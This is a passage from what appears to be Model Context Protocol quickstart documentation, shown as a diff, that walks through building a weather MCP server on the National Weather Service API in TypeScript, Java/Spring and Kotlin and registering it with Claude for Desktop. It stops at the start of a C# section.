+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
+
+
+
+ Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * TypeScript
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```javascript theme={null}
+ // ❌ Bad (STDIO)
+ console.log("Server started");
+
+ // ✅ Good (STDIO)
+ console.error("Server started"); // stderr is safe
+ ```
+
+ ### System requirements
+
+ For TypeScript, make sure you have the latest version of Node installed.
+
+ ### Set up your environment
+
+ First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
+ Verify your Node.js installation:
+
+ ```bash theme={null}
+ node --version
+ npm --version
+ ```
+
+ For this tutorial, you'll need Node.js version 20 or higher.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/server zod
+ npm install -D @types/node typescript
+
+ # Create our files
+ mkdir src
+ touch src/index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/server zod
+ npm install -D @types/node typescript
+
+ # Create our files
+ md src
+ new-item src\index.ts
+ ```
+
+
+ Update your package.json to add type: "module" and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "bin": {
+ "weather": "./build/index.js"
+ },
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ },
+ "files": ["build"]
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "types": ["node"],
+ "outDir": "./build",
+ "rootDir": "./src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["src/**/*"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `src/index.ts`:
+
+ ```typescript theme={null}
+ import { McpServer } from "@modelcontextprotocol/server";
+ import { StdioServerTransport } from "@modelcontextprotocol/server/stdio";
+ import { z } from "zod";
+
+ const NWS_API_BASE = "https://api.weather.gov";
+ const USER_AGENT = "weather-app/1.0";
+
+ // Create server instance
+ const server = new McpServer({
+ name: "weather",
+ version: "1.0.0",
+ });
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```typescript theme={null}
+ // Helper function for making NWS API requests
+ async function makeNWSRequest(url: string): Promise {
+ const headers = {
+ "User-Agent": USER_AGENT,
+ Accept: "application/geo+json",
+ };
+
+ try {
+ const response = await fetch(url, { headers });
+ if (!response.ok) {
+ throw new Error(`HTTP error! status: ${response.status}`);
+ }
+ return (await response.json()) as T;
+ } catch (error) {
+ console.error("Error making NWS request:", error);
+ return null;
+ }
+ }
+
+ interface AlertFeature {
+ properties: {
+ event?: string;
+ areaDesc?: string;
+ severity?: string;
+ status?: string;
+ headline?: string;
+ };
+ }
+
+ // Format alert data
+ function formatAlert(feature: AlertFeature): string {
+ const props = feature.properties;
+ return [
+ `Event: ${props.event || "Unknown"}`,
+ `Area: ${props.areaDesc || "Unknown"}`,
+ `Severity: ${props.severity || "Unknown"}`,
+ `Status: ${props.status || "Unknown"}`,
+ `Headline: ${props.headline || "No headline"}`,
+ "---",
+ ].join("\n");
+ }
+
+ interface ForecastPeriod {
+ name?: string;
+ temperature?: number;
+ temperatureUnit?: string;
+ windSpeed?: string;
+ windDirection?: string;
+ shortForecast?: string;
+ }
+
+ interface AlertsResponse {
+ features: AlertFeature[];
+ }
+
+ interface PointsResponse {
+ properties: {
+ forecast?: string;
+ };
+ }
+
+ interface ForecastResponse {
+ properties: {
+ periods: ForecastPeriod[];
+ };
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```typescript theme={null}
+ // Register weather tools
+
+ server.registerTool(
+ "get_alerts",
+ {
+ description: "Get weather alerts for a state",
+ inputSchema: z.object({
+ state: z
+ .string()
+ .length(2)
+ .describe("Two-letter state code (e.g. CA, NY)"),
+ }),
+ },
+ async ({ state }) => {
+ const stateCode = state.toUpperCase();
+ const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
+ const alertsData = await makeNWSRequest(alertsUrl);
+
+ if (!alertsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve alerts data",
+ },
+ ],
+ };
+ }
+
+ const features = alertsData.features || [];
+ if (!features.length) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `No active alerts for ${stateCode}`,
+ },
+ ],
+ };
+ }
+
+ const formattedAlerts = features.map(formatAlert);
+ const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: alertsText,
+ },
+ ],
+ };
+ },
+ );
+
+ server.registerTool(
+ "get_forecast",
+ {
+ description: "Get weather forecast for a location",
+ inputSchema: z.object({
+ latitude: z
+ .number()
+ .min(-90)
+ .max(90)
+ .describe("Latitude of the location"),
+ longitude: z
+ .number()
+ .min(-180)
+ .max(180)
+ .describe("Longitude of the location"),
+ }),
+ },
+ async ({ latitude, longitude }) => {
+ // Get grid point data
+ const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
+ const pointsData = await makeNWSRequest(pointsUrl);
+
+ if (!pointsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
+ },
+ ],
+ };
+ }
+
+ const forecastUrl = pointsData.properties?.forecast;
+ if (!forecastUrl) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to get forecast URL from grid point data",
+ },
+ ],
+ };
+ }
+
+ // Get forecast data
+ const forecastData = await makeNWSRequest(forecastUrl);
+ if (!forecastData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve forecast data",
+ },
+ ],
+ };
+ }
+
+ const periods = forecastData.properties?.periods || [];
+ if (periods.length === 0) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "No forecast periods available",
+ },
+ ],
+ };
+ }
+
+ // Format forecast periods
+ const formattedForecast = periods.map((period: ForecastPeriod) =>
+ [
+ `${period.name || "Unknown"}:`,
+ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
+ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
+ `${period.shortForecast || "No forecast available"}`,
+ "---",
+ ].join("\n"),
+ );
+
+ const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: forecastText,
+ },
+ ],
+ };
+ },
+ );
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```typescript theme={null}
+ async function main() {
+ const transport = new StdioServerTransport();
+ await server.connect(transport);
+ console.error("Weather MCP Server running on stdio");
+ }
+
+ main().catch((error) => {
+ console.error("Fatal error in main():", error);
+ process.exit(1);
+ });
+ ```
+
+ Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ Let's get started with building our weather server!
+ [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
+
+ For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
+ For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+ * Ensure any configured logging library will not write to stdout.
+
+ ### System requirements
+
+ * Java 17 or higher installed.
+ * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
+
+ ### Set up your environment
+
+ Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
+
+ You will need to add the following dependencies:
+
+
+ ```xml Maven theme={null}
+
+
+ org.springframework.ai
+ spring-ai-starter-mcp-server
+
+
+
+ org.springframework
+ spring-web
+
+
+ ```
+
+ ```groovy Gradle theme={null}
+ dependencies {
+ implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
+ implementation platform("org.springframework:spring-web")
+ }
+ ```
+
+
+ Then configure your application by setting the application properties:
+
+
+ ```bash application.properties theme={null}
+ spring.main.bannerMode=off
+ logging.pattern.console=
+ ```
+
+ ```yaml application.yml theme={null}
+ logging:
+ pattern:
+ console:
+ spring:
+ main:
+ banner-mode: off
+ ```
+
+
+ The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Weather Service
+
+ Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
+
+ ```java theme={null}
+ @Service
+ public class WeatherService {
+
+ private final RestClient restClient;
+
+ public WeatherService() {
+ this.restClient = RestClient.builder()
+ .baseUrl("https://api.weather.gov")
+ .defaultHeader("Accept", "application/geo+json")
+ .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
+ .build();
+ }
+
+ @Tool(description = "Get weather forecast for a specific latitude/longitude")
+ public String getWeatherForecastByLocation(
+ double latitude, // Latitude coordinate
+ double longitude // Longitude coordinate
+ ) {
+ // Returns detailed forecast including:
+ // - Temperature and unit
+ // - Wind speed and direction
+ // - Detailed forecast description
+ }
+
+ @Tool(description = "Get weather alerts for a US state")
+ public String getAlerts(
+ @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
+ ) {
+ // Returns active alerts including:
+ // - Event type
+ // - Affected area
+ // - Severity
+ // - Description
+ // - Safety instructions
+ }
+
+ // ......
+ }
+ ```
+
+ The `@Service` annotation will auto-register the service in your application context.
+ The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
+
+ The auto-configuration will automatically register these tools with the MCP server.
+
+ ### Create your Boot Application
+
+ ```java theme={null}
+ @SpringBootApplication
+ public class McpServerApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(McpServerApplication.class, args);
+ }
+
+ @Bean
+ public ToolCallbackProvider weatherTools(WeatherService weatherService) {
+ return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
+ }
+ }
+ ```
+
+ Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
+
+ ### Running the server
+
+ Finally, let's build the server:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux.
+
+
+ First, make sure you have Claude for Desktop installed.
+ [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.stdio=true",
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.transport=STDIO",
+ "-jar",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your server.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "my-weather-server"
+ 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+ ## Testing your server with Java client
+
+ ### Create an MCP Client manually
+
+ Use the `McpClient` to connect to the server:
+
+ ```java theme={null}
+ var stdioParams = ServerParameters.builder("java")
+ .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
+ .build();
+
+ var stdioTransport = new StdioClientTransport(stdioParams);
+
+ var mcpClient = McpClient.sync(stdioTransport).build();
+
+ mcpClient.initialize();
+
+ ListToolsResult toolsList = mcpClient.listTools();
+
+ CallToolResult weather = mcpClient.callTool(
+ new CallToolRequest("getWeatherForecastByLocation",
+ Map.of("latitude", "47.6062", "longitude", "-122.3321")));
+
+ CallToolResult alert = mcpClient.callTool(
+ new CallToolRequest("getAlerts", Map.of("state", "NY")));
+
+ mcpClient.closeGracefully();
+ ```
+
+ ### Use MCP Client Boot Starter
+
+ Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+ ```
+
+ and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
+ You can reuse the existing Anthropic Desktop configuration:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
+ ```
+
+ When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
+
+ For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
+
+ ## More Java MCP Server examples
+
+ The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an HTTP-based MCP server with the WebFlux starter.
+ Set the `spring.ai.mcp.server.protocol=STREAMABLE` property to serve it over Streamable HTTP.
+ It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Kotlin
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * JDK 11 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ kotlin("plugin.serialization") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
+ implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Setting up the instance
+
+ Add a server initialization function:
+
+ ```kotlin theme={null}
+ fun runMcpServer() {
+ val server = Server(
+ Implementation(
+ name = "weather",
+ version = "1.0.0",
+ ),
+ ServerOptions(
+ capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
+ ),
+ )
+
+ // register tools on server here
+
+ val transport = StdioServerTransport(
+ System.`in`.asInput(),
+ System.out.asSink().buffered(),
+ )
+
+ runBlocking {
+ val session = server.createSession(transport)
+ val done = Job()
+ session.onClose {
+ done.complete()
+ }
+ done.join()
+ }
+ }
+ ```
+
+ ### Weather API helper functions
+
+ Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
+
+ ```kotlin theme={null}
+ val httpClient = HttpClient(CIO) {
+ defaultRequest {
+ url("https://api.weather.gov")
+ headers {
+ append("Accept", "application/geo+json")
+ append("User-Agent", "WeatherApiClient/1.0")
+ }
+ contentType(ContentType.Application.Json)
+ }
+ install(ContentNegotiation) {
+ json(Json { ignoreUnknownKeys = true })
+ }
+ }
+
+ // Extension function to fetch weather alerts for a given state
+ suspend fun HttpClient.getAlerts(state: String): List {
+ val alerts = this.get("/alerts/active/area/$state").body()
+ return alerts.features.map { feature ->
+ """
+ Event: ${feature.properties.event}
+ Area: ${feature.properties.areaDesc}
+ Severity: ${feature.properties.severity}
+ Status: ${feature.properties.status}
+ Headline: ${feature.properties.headline}
+ """.trimIndent()
+ }
+ }
+
+ // Extension function to fetch forecast information for given latitude and longitude
+ suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
+ val points = this.get("/points/$latitude,$longitude").body()
+ val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
+ val forecast = this.get(forecastUrl).body()
+ return forecast.properties.periods.map { period ->
+ """
+ ${period.name}:
+ Temperature: ${period.temperature}°${period.temperatureUnit}
+ Wind: ${period.windSpeed} ${period.windDirection}
+ ${period.shortForecast}
+ """.trimIndent()
+ }
+ }
+
+ @Serializable
+ data class PointsResponse(val properties: PointsProperties)
+
+ @Serializable
+ data class PointsProperties(val forecast: String? = null)
+
+ @Serializable
+ data class ForecastResponse(val properties: ForecastProperties)
+
+ @Serializable
+ data class ForecastProperties(val periods: List = emptyList())
+
+ @Serializable
+ data class ForecastPeriod(
+ val name: String? = null,
+ val temperature: Int? = null,
+ val temperatureUnit: String? = null,
+ val windSpeed: String? = null,
+ val windDirection: String? = null,
+ val shortForecast: String? = null,
+ )
+
+ @Serializable
+ data class AlertsResponse(val features: List = emptyList())
+
+ @Serializable
+ data class AlertFeature(val properties: AlertProperties)
+
+ @Serializable
+ data class AlertProperties(
+ val event: String? = null,
+ val areaDesc: String? = null,
+ val severity: String? = null,
+ val status: String? = null,
+ val headline: String? = null,
+ )
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```kotlin theme={null}
+ // Register weather tools
+
+ server.addTool(
+ name = "get_alerts",
+ description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("state") {
+ put("type", "string")
+ put("description", "Two-letter US state code (e.g. CA, NY)")
+ }
+ },
+ required = listOf("state"),
+ ),
+ ) { request ->
+ val state = request.arguments?.get("state")?.jsonPrimitive?.content
+ ?: return@addTool CallToolResult(
+ content = listOf(TextContent("The 'state' parameter is required.")),
+ )
+
+ val alerts = httpClient.getAlerts(state)
+ CallToolResult(content = alerts.map { TextContent(it) })
+ }
+
+ server.addTool(
+ name = "get_forecast",
+ description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("latitude") {
+ put("type", "number")
+ put("description", "Latitude of the location")
+ }
+ putJsonObject("longitude") {
+ put("type", "number")
+ put("description", "Longitude of the location")
+ }
+ },
+ required = listOf("latitude", "longitude"),
+ ),
+ ) { request ->
+ val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
+ val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
+ if (latitude == null || longitude == null) {
+ return@addTool CallToolResult(
+ content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
+ )
+ }
+
+ val forecast = httpClient.getForecast(latitude, longitude)
+ CallToolResult(content = forecast.map { TextContent(it) })
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```kotlin theme={null}
+ fun main() = runMcpServer()
+ ```
+
+ You can run the server directly during development:
+
+ ```bash theme={null}
+ ./gradlew run
+ ```
+
+ For production use, build the shadow JAR:
+
+ ```bash theme={null}
+ ./gradlew build
+ java -jar build/libs/weather-0.1.0-all.jar
+ ```
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * C#
+ * LLMs like Claude
+ * .NET 8 or higher
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
+
+ ```bash theme={null}
+ dotnet --version
+ ```
+
+ Now, let's create and set up your project:
+
+
